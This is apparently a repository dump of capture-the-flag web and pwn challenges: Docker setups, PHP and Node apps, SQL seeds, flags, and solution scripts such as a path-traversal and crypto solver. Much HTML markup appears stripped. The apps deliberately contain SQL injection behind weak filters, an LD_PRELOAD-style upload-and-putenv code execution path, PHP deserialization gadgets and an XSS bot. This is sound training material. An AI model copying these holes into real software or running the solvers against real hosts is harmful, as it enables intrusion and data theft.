Login form
2 | 3 | -------------------------------------------------------------------------------- /KCSC Birthday 2021/happy_birthday_KCSC/database.sql: -------------------------------------------------------------------------------- 1 | create database if not exists kcsc; 2 | use kcsc; 3 | create table users(id int auto_increment, username varchar(20) not null, password varchar(256), primary key (id)); 4 | insert into users values (1, 'admin', 'admin_password_for_testing'); -------------------------------------------------------------------------------- /Meetup 2020/chall2/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |Are you robot ???
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/KCSC-CTF-2022/Create note as a service/chall/challenge/public/register.html:
--------------------------------------------------------------------------------
1 | Register form
2 | 3 | -------------------------------------------------------------------------------- /KMACTF 2022 - 2nd/pwn me/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | services: 3 | challenge: 4 | network_mode: "default" 5 | container_name: pwnme 6 | build: . 7 | restart: always 8 | ports: 9 | - 20102:80" 10 | networks: 11 | default: 12 | external: true 13 | name: none -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/TheOldTrick/challenge/src/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /KMACTF 2022 - 3rd/Your Name/challenge/views/report.html: -------------------------------------------------------------------------------- 1 |Report Admin
2 | 3 | -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/NinjaStore/challenge/src/logout.php: -------------------------------------------------------------------------------- 1 | Redirecting to index.php .... 9 | 14 | EOF; 15 | 16 | ?> -------------------------------------------------------------------------------- /KMACTF 2022 - 2nd/inject me/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.3' 2 | services: 3 | web: 4 | build: . 5 | volumes: 6 | - ./src:/app 7 | ports: 8 | - 20103:80 9 | networks: 10 | - private 11 | cap_add: 12 | - NET_ADMIN 13 | - NET_RAW 14 | networks: 15 | private: 16 | external: false -------------------------------------------------------------------------------- /KMACTF 2022 - 3rd/Yugioh Shop/src/config.php: -------------------------------------------------------------------------------- 1 | connect(); 14 | ?> -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/GalaxyNote/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | services: 3 | app: 4 | build: . 5 | container_name: galaxy-notes-app 6 | environment: 7 | - DB_USER=sa 8 | - DB_PASSWORD=GalaxyOne@2025 9 | - DB_SERVER=10.0.2.182 10 | - DB_PORT=14333 11 | - DB_NAME=hackathon 12 | ports: 13 | - "20106:3000" 14 | restart: unless-stopped -------------------------------------------------------------------------------- /KMACTF 2022 - 2nd/inject me/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-slim 2 | 3 | RUN useradd -m ctf 4 | 5 | WORKDIR /app 6 | 7 | COPY src/ . 8 | 9 | RUN apt update -y 10 | RUN pip3 install --upgrade --no-cache-dir -r requirements.txt 11 | 12 | RUN chown -R root:ctf /app && \ 13 | chmod 750 /app /app/app.py 14 | 15 | USER ctf 16 | 17 | CMD ["/usr/local/bin/python", "/app/app.py"] 18 | 19 | EXPOSE 80 -------------------------------------------------------------------------------- /Meetup 2020/chall1/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
9 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/KCSC Birthday 2021/happy_birthday_KCSC/src/config.php:
--------------------------------------------------------------------------------
1 | connect_error) {
12 | echo "Failed to connect to MySQL: " . $conn -> connect_error;
13 | exit();
14 | }
15 |
16 | ?>
--------------------------------------------------------------------------------
/KCSC-CTF-2022/Request as a service/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:7-apache
2 |
3 | MAINTAINER nhienit
4 |
5 | RUN apt-get update
6 |
7 | RUN a2enmod rewrite
8 | RUN a2enmod headers
9 |
10 | WORKDIR /var/www/html
11 |
12 | ADD ./chall/ /var/www/html/
13 |
14 | RUN chown -R www-data:www-data /var/www/html
15 | RUN chmod -R 775 /var/www/html
16 |
17 | VOLUME /var/www/html
18 |
19 | CMD apache2-foreground
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Your Name/challenge/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "leak-me",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.17.3",
13 | "puppeteer": "^13.5.2",
14 | "ejs": "3.1.8"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/KCSC-CTF-2022/Leak me if you can/chall/challenge/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "leak-me",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.17.3",
13 | "puppeteer": "^13.5.2",
14 | "sqlite-async": "^1.1.3"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Your Name/challenge/public/css/style.css:
--------------------------------------------------------------------------------
1 | body {
2 | background: url('../images/your-name.jpeg');
3 | background-size: cover;
4 | }
5 |
6 | #my_form {
7 | width: 25%;
8 | height: 25%;
9 | background-color: white;
10 | position: absolute;
11 | margin: auto;
12 | transform: translate(150%, 150%);
13 | border-radius: 2em;
14 | text-align: center;
15 | background-color: rgba(0, 0, 0, 0.4);
16 | color: white;
17 | }
--------------------------------------------------------------------------------
/KMACTF 2022 - 2nd/pwn me/solution/nhienit.c:
--------------------------------------------------------------------------------
1 | #include Create your note
2 | 3 | 12 | 13 | View all notes 14 |15 | 16 | Report 17 |
-------------------------------------------------------------------------------- /KMACTF 2022 - 2nd/pwn me/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7-apache 2 | 3 | MAINTAINER nhienit 4 | 5 | RUN apt-get update 6 | 7 | RUN a2enmod rewrite 8 | RUN a2enmod headers 9 | 10 | WORKDIR /var/www/html 11 | 12 | ADD ./src/ /var/www/html/ 13 | 14 | RUN chown -R www-data:www-data /var/www/html 15 | RUN chmod -R 775 /var/www/html 16 | RUN chmod -R 777 /var/www/html/uploads 17 | 18 | RUN echo "KMACTF{LD_Preload is also a way to RCE}" > /flag.txt 19 | 20 | VOLUME /var/www/html 21 | 22 | CMD apache2-foreground -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/NinjaStore/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.5' 2 | services: 3 | mysql: 4 | image: mariadb:10.5.8 5 | restart: always 6 | volumes: 7 | - ./db/db.sql:/docker-entrypoint-initdb.d/database.sql 8 | environment: 9 | - MYSQL_DATABASE=ninjashop 10 | - MYSQL_ROOT_PASSWORD=Abcd@1234 11 | web: 12 | build: . 13 | depends_on: 14 | - mysql 15 | ports: 16 | - '20109:80' 17 | stdin_open: true 18 | volumes: 19 | db: 20 | driver: local -------------------------------------------------------------------------------- /KCSC Birthday 2021/happy_birthday_KCSC/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | mysql: 5 | image: mysql:5.6 6 | restart: always 7 | volumes: 8 | - ./database.sql:/docker-entrypoint-initdb.d/database.sql 9 | environment: 10 | - MYSQL_DATABASE=kcsc 11 | - MYSQL_ROOT_PASSWORD=root 12 | web: 13 | build: . 14 | depends_on: 15 | - mysql 16 | ports: 17 | - '10666:80' 18 | volumes: 19 | - ./src:/var/www/html 20 | stdin_open: true 21 | -------------------------------------------------------------------------------- /Meetup 2020/chall1/index.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | body { 7 | background-image: url("images/cybersecvn.jpg"); 8 | background-position: center; 9 | background-repeat: no-repeat; 10 | background-size: 1928px 1600px; 11 | margin-top: 150px; 12 | } 13 | #content { 14 | position: absolute; 15 | color: white; 16 | margin: 100px 100px; 17 | font-size: 24px; 18 | } 19 | #content h1 { 20 | margin-top: 120px; 21 | color: orange; 22 | font-weight: bold; 23 | } 24 | 25 | /*Part 2/3: cSs_*/ -------------------------------------------------------------------------------- /Meetup 2020/chall3/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
Would you like to eat some c00ki3?????
10 |Enter your name to order cookie!!!
11 |Oh no!!! Only admin can order cookie :(((((
" 25 | ?> 26 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/KCSC-CTF-2022/Request as a service/chall/index.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Your Name/challenge/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const app = express();
3 | const path = require('path');
4 | const routes = require('./routes');
5 |
6 | app.use(express.json())
7 | app.set('views', './views');
8 | app.use(express.urlencoded({ extended: true }));
9 | app.engine('html', require('ejs').renderFile);
10 | app.set('view engine', 'ejs');
11 | app.use(routes());
12 | app.use(express.static('public'))
13 | app.disable('etag');
14 |
15 | app.all('*', (req, res) => {
16 | return res.status(404).send({
17 | message: '404 page not found'
18 | });
19 | });
20 |
21 | (async () => {
22 | app.listen(13337, '0.0.0.0', () => console.log('Listening on port 13337'));
23 | })();
--------------------------------------------------------------------------------
/KCSC Birthday 2021/happy_birthday_KCSC/src/api/checkUser.php:
--------------------------------------------------------------------------------
1 | 'Missing parameter!!'));
12 | } else {
13 | $id = $_GET['id'];
14 | $id = preg_replace('/join|group|having|or|select|from|where|\ /', '',$id);
15 | $query = 'SELECT * FROM users WHERE id='.$id;
16 | $result = $conn->query($query);
17 |
18 | if ($result->num_rows > 0) {
19 | //echo $result; hmmmm?? Đâu dễ vậy được :))))
20 | }
21 | }
22 | } else {
23 | echo json_encode(array('result' => $_SERVER['REMOTE_ADDR'].'Only localhost can access that feature!!!'));
24 | }
25 | ?>
--------------------------------------------------------------------------------
/HDBANK Hackathon 2025/TheOldTrick/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.2.0-apache
2 |
3 | RUN apt-get update && apt-get install -y \
4 | libmagickwand-dev \
5 | libmagickcore-dev \
6 | --no-install-recommends \
7 | && pecl install imagick \
8 | && docker-php-ext-enable imagick \
9 | && apt-get clean \
10 | && rm -rf /var/lib/apt/lists/*
11 |
12 | RUN a2enmod rewrite
13 | RUN a2enmod headers
14 |
15 | WORKDIR /var/www/html
16 | ADD ./src/ /var/www/html/
17 | COPY ./php.ini /usr/local/etc/php/php.ini-development
18 | COPY flag /flag
19 | COPY readflag /readflag
20 |
21 | RUN chown -R root:root /var/www/html \
22 | && chmod -R 755 /var/www/html \
23 | && chmod 400 /flag \
24 | && chmod 111 /readflag \
25 | && chmod u+s /readflag
26 |
27 | ENTRYPOINT service apache2 start && /bin/bash
--------------------------------------------------------------------------------
/KCSC-CTF-2022/Leak me if you can/chall/challenge/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const app = express();
3 | const path = require('path');
4 | const routes = require('./routes');
5 | const Database = require('./database');
6 |
7 | const db = new Database('leak-me.db');
8 |
9 | app.use(express.json())
10 | app.set('views', './views');
11 | app.use(express.urlencoded({ extended: true }));
12 |
13 | app.use(routes(db));
14 |
15 | app.disable('etag');
16 |
17 | app.all('*', (req, res) => {
18 | return res.status(404).send({
19 | message: '404 page not found'
20 | });
21 | });
22 |
23 | (async () => {
24 | await db.connect();
25 | await db.init();
26 |
27 | app.listen(13337, '0.0.0.0', () => console.log('Listening on port 13337'));
28 | })();
--------------------------------------------------------------------------------
/HDBANK Hackathon 2025/NinjaStore/challenge/src/config.php:
--------------------------------------------------------------------------------
1 | connect_error) {
12 | die("MySQL connection error");
13 | }
14 |
15 | function waf($input) {
16 | // Prevent sqli -.-
17 | $blacklist = join("|", ["sleep", "benchmark", "order", "limit", "exp", "extract", "xml", "floor", "rand", "count", "or" ,"and", ">", "<", "\|", "&","\(", "\)", "\\\\" ,"1337", "0x539"]);
18 | if (preg_match("/${blacklist}/si", $input)) die("Stop! No cheat =))) ");
19 | return TRUE;
20 | }
21 |
22 | ?>
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Yugioh Shop/src/database.php:
--------------------------------------------------------------------------------
1 | servername = $servername;
12 | $this->username = $username;
13 | $this->password = $password;
14 | $this->database = $database;
15 | }
16 |
17 | function connect() {
18 | $conn = new mysqli($this->servername, $this->username, $this->password, $this->database);
19 | if ($conn->connect_error) {
20 | die("Connection failed: " . $conn->connect_error);
21 | }
22 | $this->is_connected = 1;
23 | return $conn;
24 | }
25 |
26 | function __wakeup() {
27 | if (!$this->is_connected) {
28 | echo "Cannot connect to database: ".$this->database;
29 | }
30 | }
31 | }
32 |
33 | ?>
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Your Name/challenge/public/js/app.js:
--------------------------------------------------------------------------------
1 | document.libs = ['https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.0/purify.min.js']
2 |
3 | function loadResource(src) {
4 | const script = document.createElement('script');
5 | script.async = true;
6 | script.src = src;
7 |
8 | if (script.src.includes('jsonp') || decodeURIComponent(script.src).includes('jsonp')) {
9 | throw new Error('No hack')
10 | }
11 |
12 | document.body.appendChild(script);
13 | }
14 |
15 | function validateScript(index) {
16 | setTimeout(() => {
17 | const element = document.libs[index]
18 | const src = element.getAttribute('src')
19 |
20 | if (!src.startsWith('https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.0/')) {
21 | throw new Error('Invalid source')
22 | }
23 |
24 | element.parentNode.removeChild(element)
25 | loadResource(src)
26 | }, 1000)
27 | }
28 |
29 | // validateScript(0)
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Your Name/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:current-buster-slim
2 |
3 | # Install packages
4 | RUN apt-get update \
5 | && apt-get install -y wget supervisor gnupg \
6 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
7 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
8 | && apt-get update \
9 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \
10 | --no-install-recommends \
11 | && rm -rf /var/lib/apt/lists/*
12 |
13 | # Setup app
14 | RUN mkdir -p /app
15 |
16 | # Add application
17 | WORKDIR /app
18 | COPY challenge .
19 |
20 | # Install dependencies
21 | RUN yarn
22 |
23 | CMD ["npm", "install"]
24 | # Expose the port node-js is reachable on
25 | EXPOSE 13337
26 |
27 | # Start the node-js application
28 | CMD ["node", "index.js"]
29 |
--------------------------------------------------------------------------------
/KCSC-CTF-2022/Leak me if you can/chall/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:current-buster-slim
2 |
3 | # Install packages
4 | RUN apt-get update \
5 | && apt-get install -y wget supervisor gnupg \
6 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
7 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
8 | && apt-get update \
9 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \
10 | --no-install-recommends \
11 | && rm -rf /var/lib/apt/lists/*
12 |
13 | # Setup app
14 | RUN mkdir -p /app
15 |
16 | # Add application
17 | WORKDIR /app
18 | COPY challenge .
19 |
20 | # Install dependencies
21 | RUN yarn
22 |
23 | CMD ["npm", "install"]
24 | # Expose the port node-js is reachable on
25 | EXPOSE 13337
26 |
27 | # Start the node-js application
28 | CMD ["node", "index.js"]
29 |
--------------------------------------------------------------------------------
/KCSC Recruit/EnCryptBoizzz/solution/sol.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import re
3 | from string import printable
4 | import time
5 |
6 | url = "http://45.77.39.59:2010"
7 | r = requests.Session()
8 | phpsessid = "520mekuh9645iahrd6nj51am2m"
9 | BLOCK_SIZE = 16
10 |
11 | def setName(name):
12 | return r.get(url, params = {"name": name}, cookies={"PHPSESSID": phpsessid})
13 |
14 | def getBlocks():
15 | data = r.get(
16 | url,
17 | params={"file": f"../../../tmp/sess_{phpsessid}"},
18 | cookies={"PHPSESSID": phpsessid}
19 | ).text
20 |
21 | enc = re.findall(r'name|s:\d+:"(?P
20 | <%- name %>
21 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/KCSC Birthday 2021/happy_birthday_KCSC/src/admin/index.php:
--------------------------------------------------------------------------------
1 |
20 |
21 |
22 |
23 |
24 | Your name?
22 | 25 |Admin area
28 |
29 | Good job hacker!! Giờ thì tìm flag thôi nàooooo!!
30 |
31 | Lười code UI quá mong các bạn thông cảm :(((
32 |Thật ra mình không giỏi code UI hihi!!
33 | 34 | -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/TheOldTrick/challenge/src/profile.php: -------------------------------------------------------------------------------- 1 | 28 | setTimeout(() => { 29 | window.location.href = "index.php"; 30 | }, 2000); 31 | '; 32 | } 33 | 34 | 35 | ?> -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/TheOldTrick/challenge/src/utils.php: -------------------------------------------------------------------------------- 1 | str = $str; 11 | $this->color = $color; 12 | } 13 | 14 | public function __toString() { 15 | return "color;\">$this->str
"; 16 | 17 | } 18 | } 19 | 20 | 21 | class Red extends Color { 22 | public $str; 23 | public $color; 24 | 25 | public function __construct($str) { 26 | $this->str = $str; 27 | $this->color = "red"; 28 | } 29 | } 30 | 31 | 32 | class Green extends Color { 33 | public $str; 34 | public $color; 35 | 36 | public function __construct($str) { 37 | $this->str = $str; 38 | $this->color = "green"; 39 | } 40 | } 41 | class Blue extends Color { 42 | public $str; 43 | public $color; 44 | 45 | public function __construct($str) { 46 | $this->str = $str; 47 | $this->color = "blue"; 48 | } 49 | } 50 | 51 | 52 | ?> -------------------------------------------------------------------------------- /KCSC-CTF-2022/Create note as a service/chall/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:current-buster-slim 2 | 3 | # Install packages 4 | RUN apt-get update \ 5 | && apt-get install -y wget supervisor gnupg \ 6 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 7 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 8 | && apt-get update \ 9 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \ 10 | --no-install-recommends \ 11 | && rm -rf /var/lib/apt/lists/* 12 | 13 | # Setup app 14 | RUN mkdir -p /app 15 | 16 | # Add application 17 | WORKDIR /app 18 | COPY challenge . 19 | 20 | ENV FLAG=KCSC{R3g3x_1nJ3ct1on_t00_3z_t0_Expl0it} 21 | ENV SECRET=super_secret_key_you_cannot_guess_ahihi 22 | # Install dependencies 23 | RUN yarn 24 | 25 | CMD ["npm", "install"] 26 | # Expose the port node-js is reachable on 27 | EXPOSE 80 28 | 29 | # Start the node-js application 30 | CMD ["node", "index.js"] 31 | -------------------------------------------------------------------------------- /KMACTF 2022 - 3rd/Your Name/challenge/bot.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | 3 | const browser_options = { 4 | headless: true, 5 | args: [ 6 | '--no-sandbox', 7 | '--disable-background-networking', 8 | '--disable-default-apps', 9 | '--disable-extensions', 10 | '--disable-gpu', 11 | '--disable-sync', 12 | '--disable-translate', 13 | '--hide-scrollbars', 14 | '--metrics-recording-only', 15 | '--mute-audio', 16 | '--no-first-run', 17 | '--safebrowsing-disable-auto-update', 18 | '--js-flags=--noexpose_wasm,--jitless' 19 | ] 20 | }; 21 | 22 | const visitPage = async url => { 23 | const browser = await puppeteer.launch(browser_options); 24 | 25 | let context = await browser.createIncognitoBrowserContext(); 26 | let page = await context.newPage(); 27 | 28 | await page.setCookie({ 29 | 'name': 'Flag', 30 | 'value': 'KMACTF{XSS_W1th_ReC4ptch4_4nd_d0m_cl0bb3r1ng}', 31 | 'domain': '127.0.0.1' 32 | }) 33 | 34 | await page.goto(url, { 35 | waitUntil: 'networkidle2' 36 | }); 37 | 38 | await page.waitForTimeout(7000); 39 | await browser.close(); 40 | }; 41 | 42 | module.exports = { visitPage }; -------------------------------------------------------------------------------- /KCSC Birthday 2021/happy_birthday_KCSC/src/classes/chain.php: -------------------------------------------------------------------------------- 1 | file)) { 8 | include($this->file); 9 | } 10 | return "Ahihhii"; 11 | } 12 | } 13 | 14 | 15 | class Url { 16 | public $url; 17 | 18 | public function __construct($url) { 19 | $this->url = $url; 20 | } 21 | 22 | public function checkUrl() { 23 | if (preg_match('/[http|https]:\/\//', $this->url)) 24 | return true; 25 | else 26 | return false; 27 | } 28 | } 29 | 30 | 31 | class Func1 { 32 | public $param1; 33 | public $param2; 34 | 35 | public function __get($key) { 36 | $key = $this->param2; 37 | return $this->param1->$key(); 38 | } 39 | } 40 | 41 | class Source { 42 | private $source; 43 | 44 | public function __construct($s) { 45 | $this->source = $s; 46 | } 47 | public function __invoke() { 48 | return $this->source->method; 49 | } 50 | } 51 | 52 | 53 | class Func2 { 54 | public $param; 55 | 56 | public function __wakeup() { 57 | $function = $this->param; 58 | return $function(); 59 | } 60 | } 61 | 62 | ?> -------------------------------------------------------------------------------- /HDBANK Hackathon 2025/GalaxyNote/challenge/db/init.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE hackathon; 2 | GO 3 | 4 | USE hackathon; 5 | 6 | CREATE TABLE admin (temp NVARCHAR(255) NULL); 7 | 8 | CREATE TABLE flag ( flag VARCHAR(255) NOT NULL); 9 | 10 | INSERT INTO flag (flag) VALUES ('HDBH{pl4y_w1th_mSSql_s3rv3r_2984a9b27169ae95d8ab005bb2df5924}'); 11 | 12 | 13 | CREATE TABLE notes ( 14 | note_id UNIQUEIDENTIFIER NOT NULL DEFAULT NEWID(), 15 | title NVARCHAR(255) NOT NULL, 16 | content NVARCHAR(MAX) NOT NULL, 17 | created_by NVARCHAR(100) NOT NULL, 18 | created_at DATETIME NOT NULL DEFAULT GETDATE(), 19 | CONSTRAINT PK_notes PRIMARY KEY (note_id) 20 | ); 21 | 22 | INSERT INTO notes (title, content, created_by) 23 | VALUES 24 | (N'Học SQL cơ bản', N'Ôn lại các câu lệnh CREATE, SELECT, INSERT, UPDATE, DELETE trong SQL Server.', N'Nguyễn Văn A'), 25 | 26 | (N'Ý tưởng CTF Challenge', N'Thiết kế một challenge về SQL Injection để kiểm tra kỹ năng khai thác.', N'Trần Thị B'), 27 | 28 | (N'Ghi chú học ExpressJS', N'Tìm hiểu cách tạo REST API bằng ExpressJS, kết nối với MSSQL.', N'Lê Văn C'), 29 | 30 | (N'Ghi chú bảo mật', N'Xem lại cách ngăn chặn IDOR bằng cách filter theo userEmail.', N'Phạm Thị D'), 31 | 32 | (N'Kế hoạch Hackathon 2025', N'Thiết lập MSSQL server, tạo database hackathon và chuẩn bị dataset.', N'Ngô Văn E'); 33 | -------------------------------------------------------------------------------- /KMACTF 2022 - 2nd/pwn me/src/index.php: -------------------------------------------------------------------------------- 1 | 100) { 13 | system("rm uploads/*"); 14 | } 15 | 16 | $fileExt = strtolower(pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION)); 17 | 18 | if ( preg_match("/ph/i", $fileExt) ) 19 | die("Don't cheat my fen"); 20 | 21 | $fileName = md5(rand(1, 1000000000)).".".$fileExt; 22 | $target_file = "uploads/" . $fileName; 23 | 24 | if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { 25 | die("Your file: ".getcwd()."/".$target_file); 26 | } else { 27 | die("Something went wrong\n"); 28 | } 29 | 30 | } 31 | // Add enviroment variable 32 | if (isset($_GET["env"])) { 33 | foreach ($_GET["env"] as $key => $value) { 34 | if ( preg_match("/[A-Za-z_]/i", $key) && !preg_match("/bash/i", $key) ) 35 | putenv($key."=".$value); 36 | } 37 | } 38 | 39 | system("echo pwnme!!"); 40 | 41 | ?> 42 | 43 | 48 | 49 | -------------------------------------------------------------------------------- /KMACTF 2022 - 3rd/Yugioh Shop/src/utils.php: -------------------------------------------------------------------------------- 1 | baseDir = dirname(__FILE__); 10 | } 11 | 12 | function uploadFile($file) { 13 | $msg = ""; 14 | $is_ok = true; 15 | 16 | $allowed = array('gif', 'png', 'jpg'); 17 | $filename = $file['name']; 18 | 19 | $ext = pathinfo($filename, PATHINFO_EXTENSION); 20 | if (!in_array($ext, $allowed)) { 21 | $msg = 'Only allowed gif, png, jpg'; 22 | $is_ok = false; 23 | } 24 | 25 | if ($file["size"] > 1000000) { 26 | $msg = "Sorry, your file is too large."; 27 | $is_ok = false; 28 | } 29 | 30 | 31 | if ( !getimagesize($file['tmp_name']) ) { 32 | $msg = "Not a valid image"; 33 | $is_ok = false; 34 | } 35 | 36 | $file_name = bin2hex(random_bytes(10)).".jpg"; 37 | $target_file = $this->baseDir."/uploads/".$file_name; 38 | 39 | if (move_uploaded_file($file["tmp_name"], $target_file)) { 40 | $msg = "Your avatar stored at: ". $target_file; 41 | $is_ok = true; 42 | } else { 43 | $msg = "Sorry, there was an error uploading your file."; 44 | $is_ok = false; 45 | } 46 | 47 | return array($is_ok, $msg, $file_name); 48 | } 49 | 50 | function __get($key) { 51 | return ($this->a)($this->b); 52 | } 53 | } 54 | 55 | ?> -------------------------------------------------------------------------------- /KCSC-CTF-2022/Create note as a service/chall/challenge/database.js: -------------------------------------------------------------------------------- 1 | const sqlite = require('sqlite-async'); 2 | 3 | class Database { 4 | constructor(db_file) { 5 | this.db_file = db_file; 6 | this.db = undefined; 7 | } 8 | 9 | async connect() { 10 | this.db = await sqlite.open(this.db_file); 11 | } 12 | 13 | async init() { 14 | return this.db.exec(` 15 | PRAGMA case_sensitive_like=ON; 16 | 17 | DROP TABLE IF EXISTS users; 18 | CREATE TABLE IF NOT EXISTS users ( 19 | id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, 20 | username VARCHAR(255) NOT NULL, 21 | password VARCHAR(255) NOT NULL 22 | ); 23 | 24 | DROP TABLE IF EXISTS notes; 25 | CREATE TABLE IF NOT EXISTS notes ( 26 | id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, 27 | note VARCHAR(255) NOT NULL, 28 | userId INTEGER NOT NULL 29 | ); 30 | 31 | DROP TABLE IF EXISTS flag; 32 | CREATE TABLE IF NOT EXISTS flag ( 33 | flag VARCHAR(255) NOT NULL 34 | ); 35 | 36 | INSERT INTO flag (flag) VALUES ('${process.env.FLAG || "KCSC{flag_for_testing}"}'); 37 | `); 38 | } 39 | 40 | } 41 | 42 | module.exports = Database; -------------------------------------------------------------------------------- /KMACTF 2022 - 3rd/Yugioh Shop/db/schema.sql: -------------------------------------------------------------------------------- 1 | use kmactf; 2 | drop table if EXISTS users; 3 | create table users(id int PRIMARY key AUTO_INCREMENT, username varchar(255), password varchar(32), avatar varchar(255)); 4 | 5 | 6 | drop table if EXISTS shop; 7 | create table shop(id int, name varchar(255), price int, url varchar(255)); 8 | insert into shop values(1, "Exodia" ,20000,"https://publish.one37pm.net/wp-content/uploads/2021/02/5-1.jpg?fit=600%2C875"); 9 | insert into shop values(2, "Dark Armed Dragon" ,30000,"https://publish.one37pm.net/wp-content/uploads/2021/02/3-1.jpg?fit=813%2C1185"); 10 | insert into shop values(3, "Obelisk" ,40000,"https://publish.one37pm.net/wp-content/uploads/2021/02/7.png?fit=549%2C800"); 11 | insert into shop values(4, "Slifer The Sky Dragon",50000,"https://publish.one37pm.net/wp-content/uploads/2021/02/8.jpg?fit=600%2C875"); 12 | insert into shop values(5, "Super Quantal Mech King Great Magnus" ,60000,"https://publish.one37pm.net/wp-content/uploads/2021/02/super-quantal.jpg?fit=800%2C1167"); 13 | insert into shop values(6, "The Winged Dragon Of Ra" ,70000,"https://publish.one37pm.net/wp-content/uploads/2021/02/10.jpg?fit=600%2C875"); 14 | insert into shop values(7, "Victory Dragon" ,80000,"https://publish.one37pm.net/wp-content/uploads/2021/02/victory-dragon.jpg?fit=1096%2C1600"); 15 | insert into shop values(8, "The Tyrant Neptune",9000,"https://publish.one37pm.net/wp-content/uploads/2021/02/9.jpg?fit=813%2C1185"); -------------------------------------------------------------------------------- /KCSC Recruit/EnCryptBoizzz/source/src/index.php: -------------------------------------------------------------------------------- 1 | 48 | 49 | 50 |Hello hacker ^>^
51 | 52 | -------------------------------------------------------------------------------- /KMACTF 2022 - 3rd/Your Name/challenge/routes/index.js: -------------------------------------------------------------------------------- 1 | const bot = require('../bot'); 2 | const path = require('path'); 3 | const express = require('express'); 4 | const router = express.Router(); 5 | 6 | const response = data => ({ message: data }); 7 | const isAdmin = req => ((req.ip == '127.0.0.1') ? 1 : 0); 8 | 9 | router.get('/', (req, res) => { 10 | let name = req.query.name; 11 | 12 | if (!name) { 13 | name = "" 14 | } 15 | 16 | if (name.match(/<(script|svg|iframe)/i)) { 17 | name = "Don't hack" 18 | } 19 | 20 | return res.render('index.html', {name: name}); 21 | }); 22 | 23 | router.get('/report', (req, res) => { 24 | res.render('report.html'); 25 | }) 26 | 27 | router.post('/report', (req, res) => { 28 | const { url } = req.body; 29 | if (url) { 30 | uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/ 31 | if (url.match(uregex)) { 32 | return bot.visitPage(url) 33 | .then(() => res.send(response('Your submission is now pending review!'))) 34 | .catch((e) => res.send(response('Something went wrong! 